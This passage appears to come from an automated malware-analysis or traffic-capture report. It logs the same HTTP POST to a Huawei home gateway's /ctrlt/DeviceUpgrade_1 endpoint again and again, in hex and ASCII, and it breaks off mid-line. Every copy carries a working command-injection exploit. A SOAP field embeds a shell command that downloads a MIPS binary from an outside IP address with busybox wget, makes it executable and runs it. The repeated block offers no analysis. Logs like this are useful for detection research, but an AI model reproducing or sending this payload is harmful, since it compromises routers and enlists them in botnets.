69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; 